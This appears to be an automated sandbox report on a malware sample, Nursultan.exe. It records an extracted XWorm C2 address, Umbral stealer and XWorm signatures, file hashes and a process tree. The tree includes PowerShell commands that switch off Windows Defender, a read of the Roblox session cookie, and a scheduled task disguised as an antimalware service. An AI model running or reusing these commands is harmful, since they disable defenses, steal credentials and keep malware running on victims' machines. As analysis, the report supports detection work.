Analysis

  • max time kernel
    126s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-06-2024 15:02

General

  • Target

    Nursultan.exe

  • Size

    19.8MB

  • MD5

    4aa0a579b602bd4434e6c857294fcca5

  • SHA1

    3b4fec5946e430c54ec4b9170b165c9893368c1b

  • SHA256

    13dcf8833f9fe533311420d9db085b180aca2ff1674e692c79b6596ebf5a83cd

  • SHA512

    58fc656496033afdeda99efb2d9576fcc46e4b8af96ed0d024dc13b1fd775a98dad74d53f917c0e63980129221ecd686a8e178a86da423fadaac0761d50eff4a

  • SSDEEP

    393216:kTspQo6f651rlw2PbRAInE5xg2N0hS+cpEMqT96SDtwdM7d3dgB7bSu8bafx3:kQuo6kBbeIACkAaE6k4MwBau8ix

Malware Config

Extracted

Family

xworm

C2

north-modem.gl.at.ply.gg:45517

Attributes
  • Install_directory

    %AppData%

  • install_file

    Antimalware Service Executable.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
    "C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Users\Admin\AppData\Roaming\SHACTUAL.exe
      "C:\Users\Admin\AppData\Roaming\SHACTUAL.exe"
      2⤵
      • Executes dropped EXE
      PID:3152
    • C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe
      "C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3696
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4924
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
        3⤵
        • Views/modifies file attributes
        PID:4568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:548
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1276
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          4⤵
            PID:3348
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
            PID:1664
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:2368
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4456
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              3⤵
              • Detects videocard installed
              PID:3000
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe" && pause
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4512
              • C:\Windows\system32\PING.EXE
                ping localhost
                4⤵
                • Runs ping.exe
                PID:844
          • C:\Users\Admin\AppData\Roaming\Nursultan.exe
            "C:\Users\Admin\AppData\Roaming\Nursultan.exe"
            2⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3672
            • C:\Users\Admin\AppData\Roaming\45215434532.exe
              "C:\Users\Admin\AppData\Roaming\45215434532.exe"
              3⤵
              • Executes dropped EXE
              PID:1408
            • C:\Users\Admin\AppData\Roaming\Nursultan.exe
              "C:\Users\Admin\AppData\Roaming\Nursultan.exe"
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4064
              • C:\Users\Admin\AppData\Roaming\45215434532.exe
                "C:\Users\Admin\AppData\Roaming\45215434532.exe"
                4⤵
                • Executes dropped EXE
                PID:2056
              • C:\Users\Admin\AppData\Roaming\Nursultan.exe
                "C:\Users\Admin\AppData\Roaming\Nursultan.exe"
                4⤵
                • Executes dropped EXE
                PID:3752
              • C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe
                "C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
                4⤵
                • Executes dropped EXE
                PID:2632
            • C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe
              "C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe"
              3⤵
              • Executes dropped EXE
              PID:8
          • C:\Users\Admin\AppData\Roaming\sdfc.exe
            "C:\Users\Admin\AppData\Roaming\sdfc.exe"
            2⤵
            • Checks computer location settings
            • Drops startup file
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1208
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\sdfc.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3344
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sdfc.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1520
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3140
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Antimalware Service Executable.exe'
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5036
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Antimalware Service Executable" /tr "C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe"
              3⤵
              • Creates scheduled task(s)
              PID:1788
        • C:\Windows\system32\taskmgr.exe
          "C:\Windows\system32\taskmgr.exe" /0
          1⤵
          • Checks SCSI registry key(s)
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:4700
        • C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe
          "C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe"
          1⤵
          • Executes dropped EXE
          PID:3516
        • C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe
          "C:\Users\Admin\AppData\Roaming\Antimalware Service Executable.exe"
          1⤵
          • Executes dropped EXE
          PID:1916

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\45215434532.exe.log

          Filesize

          871B

          MD5

          386677f585908a33791517dfc2317f88

          SHA1

          2e6853b4560a9ac8a74cdd5c3124a777bc0d874e

          SHA256

          7caf8779608c167ab6fa570df00c973aff6dee850bb63439770889a68c7cdae0

          SHA512

          876d2269e25a4b2754bdf2c7e3c410050f885d7e6bd8abce41c5fc74ae1f8c549b2266dd1588c750f614063f36c8a8e5008cea610505897d04e4ef5c3adc52d9

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Nursultan.exe.log

          Filesize

          654B

          MD5

          2ff39f6c7249774be85fd60a8f9a245e

          SHA1

          684ff36b31aedc1e587c8496c02722c6698c1c4e

          SHA256

          e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

          SHA512

          1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Stealeerrrl.exe.log

          Filesize

          1KB

          MD5

          4c8fa14eeeeda6fe76a08d14e08bf756

          SHA1

          30003b6798090ec74eb477bbed88e086f8552976

          SHA256

          7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

          SHA512

          116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          985b3105d8889886d6fd953575c54e08

          SHA1

          0f9a041240a344d82bac0a180520e7982c15f3cd

          SHA256

          5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

          SHA512

          0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          d3235ed022a42ec4338123ab87144afa

          SHA1

          5058608bc0deb720a585a2304a8f7cf63a50a315

          SHA256

          10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

          SHA512

          236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          c7e30bd006cbe7816a739ce7592525f2

          SHA1

          cbc320e9acc9a73bb512e85e3d1e9246e3258658

          SHA256

          99193e72a35fbdfe03b49259487de7811d7a9c6f0e1f69d9d23238ea66440d88

          SHA512

          874e24c4e5289d705862590c7724ef127ccd68959bee89e426cf8f62017db9eb6b7d423de7a029393e3cf5ffa02ff93b5c4b518629950174de17fc4d56c1cfba

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          d8cb3e9459807e35f02130fad3f9860d

          SHA1

          5af7f32cb8a30e850892b15e9164030a041f4bd6

          SHA256

          2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

          SHA512

          045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          04f1d68afbed6b13399edfae1e9b1472

          SHA1

          8bfdcb687a995e4a63a8c32df2c66dc89f91a8b0

          SHA256

          f358f33a42122e97c489fad7bbc8beab2eb42d42e4ec7fce0dd61fe6d8c0b8de

          SHA512

          30c5e72a8134992094d937d2588f7a503b1d6407d11afe0265b7c8b0ce14071925e5caed13fc4f9c28705df4c7aed3601f81b007048b148af274d7784aa5fb75

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          6d3e9c29fe44e90aae6ed30ccf799ca8

          SHA1

          c7974ef72264bbdf13a2793ccf1aed11bc565dce

          SHA256

          2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

          SHA512

          60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51zcrhqw.ili.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\45215434532.exe

          Filesize

          289KB

          MD5

          2fbb066a05c1ef9460e97aaedbe0e45e

          SHA1

          d5d26c284cea1437decf880c20a39b16e7e6a63a

          SHA256

          ab4cecb9a0cff2c60bcac17ce47d47c1f322e27668ebc446825c6882472bb01d

          SHA512

          22ba0f92821aef8c395cddc3ffee007541fafa3f797f2b2dd1695b3f42cf7423ed1f3eadd522213f62533ee7d43087e96047d6e44dd5f2ea9fa4afc157b7af9e

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Antimalware Service Executable.lnk

          Filesize

          888B

          MD5

          160af3d1b9126a3fc334da900d4d482f

          SHA1

          53f7c02610250896fa3bb343ed66de3aaf25a10b

          SHA256

          1f1a46465f9cd2e81f92ff29a7269175d825583e13e80ddc3dee134aac2d0436

          SHA512

          8245ae3df2f682741248d1530c022cc0ce727c520b9d1ea3a4a2b7009715ebd4b3e717ae8f15e8b63a77831214007a1b8e1b2ab768a3d26723326ce475cec48a

        • C:\Users\Admin\AppData\Roaming\Nursultan.exe

          Filesize

          19.0MB

          MD5

          f139956e3513372dfedb48be8c5f20d2

          SHA1

          10f96e4db74379253e344ab946cd0277b9e3399b

          SHA256

          c8953cfb225aee2562f4488207d03aa8d64a742ab9a8685cf68c7df9b3fced43

          SHA512

          1057fb10d053f5c98fc379ee01bd01f9771fe8cd085c735e61ad58a07d4184454814eb46172ca934cdb4f26f998cb9826d2dcefed4bf64efbc55445bf7555858

        • C:\Users\Admin\AppData\Roaming\SHACTUAL.exe

          Filesize

          286KB

          MD5

          172102632622276b14db160162216da2

          SHA1

          d43e5499a72085f8f088b8cdec03d0e2e848354b

          SHA256

          db2780fbfa5ef72359db0a4eaa4d49a2ba08b628820803d10e87d1942f5f242d

          SHA512

          29a62c255304d04d8d7b96bb66e9dca58365b56f73ec64dbcba9bec15af3e771fc856db7328918d9ede81dbfa5d5e7b5157d3366833c1cf5ff0cc3ffe57c9686

        • C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe

          Filesize

          227KB

          MD5

          0c5a658e2dd610701dfdda4af941cedf

          SHA1

          d90c4f66c708206b2d62e84923ea5746f2aa37ff

          SHA256

          3c40b379fa1a86269b0f31473a95917e2d940a0ad11c95f0209518d4e32afc60

          SHA512

          557a1d3fdf5c77bbe97b7d1eabb09ddcf44387c17ee22506ec0e2e47a20814a4f067ed225384b40244e013b79866034b0efb1b3f890cde68f940132e10714091

        • C:\Users\Admin\AppData\Roaming\sdfc.exe

          Filesize

          61KB

          MD5

          114dc24354f0c5ed1c34c1e21abc72fd

          SHA1

          e311f13272546541bcb93454367c1f958deba7e1

          SHA256

          c36165bdc7f50ae6366f31fcda7d96b4eb2ec4bfc91f4a75d1347eb74c599a3f

          SHA512

          23ca2599c8f08c7690a2e7edc5835c72ac2b985b0c40a33abee4e6cd8e87ef1604d26087f69f91606f2842bbb3ef593733727a56964e49d00cb2e57422f25e96

        • memory/220-0-0x00007FFFBA0D3000-0x00007FFFBA0D5000-memory.dmp

          Filesize

          8KB

        • memory/220-1-0x00000000008B0000-0x0000000001C7C000-memory.dmp

          Filesize

          19.8MB

        • memory/1208-53-0x0000000000B50000-0x0000000000B66000-memory.dmp

          Filesize

          88KB

        • memory/1408-66-0x0000000000C80000-0x0000000000CCC000-memory.dmp

          Filesize

          304KB

        • memory/3152-26-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

          Filesize

          10.8MB

        • memory/3152-29-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

          Filesize

          10.8MB

        • memory/3152-21-0x0000000000620000-0x000000000066C000-memory.dmp

          Filesize

          304KB

        • memory/3348-72-0x0000020C6E1E0000-0x0000020C6E202000-memory.dmp

          Filesize

          136KB

        • memory/3672-54-0x0000000000A50000-0x0000000001D4C000-memory.dmp

          Filesize

          19.0MB

        • memory/3696-112-0x00000252C5980000-0x00000252C59D0000-memory.dmp

          Filesize

          320KB

        • memory/3696-113-0x00000252C5A10000-0x00000252C5A2E000-memory.dmp

          Filesize

          120KB

        • memory/3696-183-0x00000252C59F0000-0x00000252C59FA000-memory.dmp

          Filesize

          40KB

        • memory/3696-184-0x00000252C5D30000-0x00000252C5D42000-memory.dmp

          Filesize

          72KB

        • memory/3696-111-0x00000252C5CB0000-0x00000252C5D26000-memory.dmp

          Filesize

          472KB

        • memory/3696-27-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

          Filesize

          10.8MB

        • memory/3696-233-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

          Filesize

          10.8MB

        • memory/3696-230-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

          Filesize

          10.8MB

        • memory/3696-25-0x00000252AB4E0000-0x00000252AB520000-memory.dmp

          Filesize

          256KB

        • memory/4700-221-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-224-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-222-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-223-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-227-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-226-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-225-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-217-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-216-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB

        • memory/4700-215-0x000001B82B720000-0x000001B82B721000-memory.dmp

          Filesize

          4KB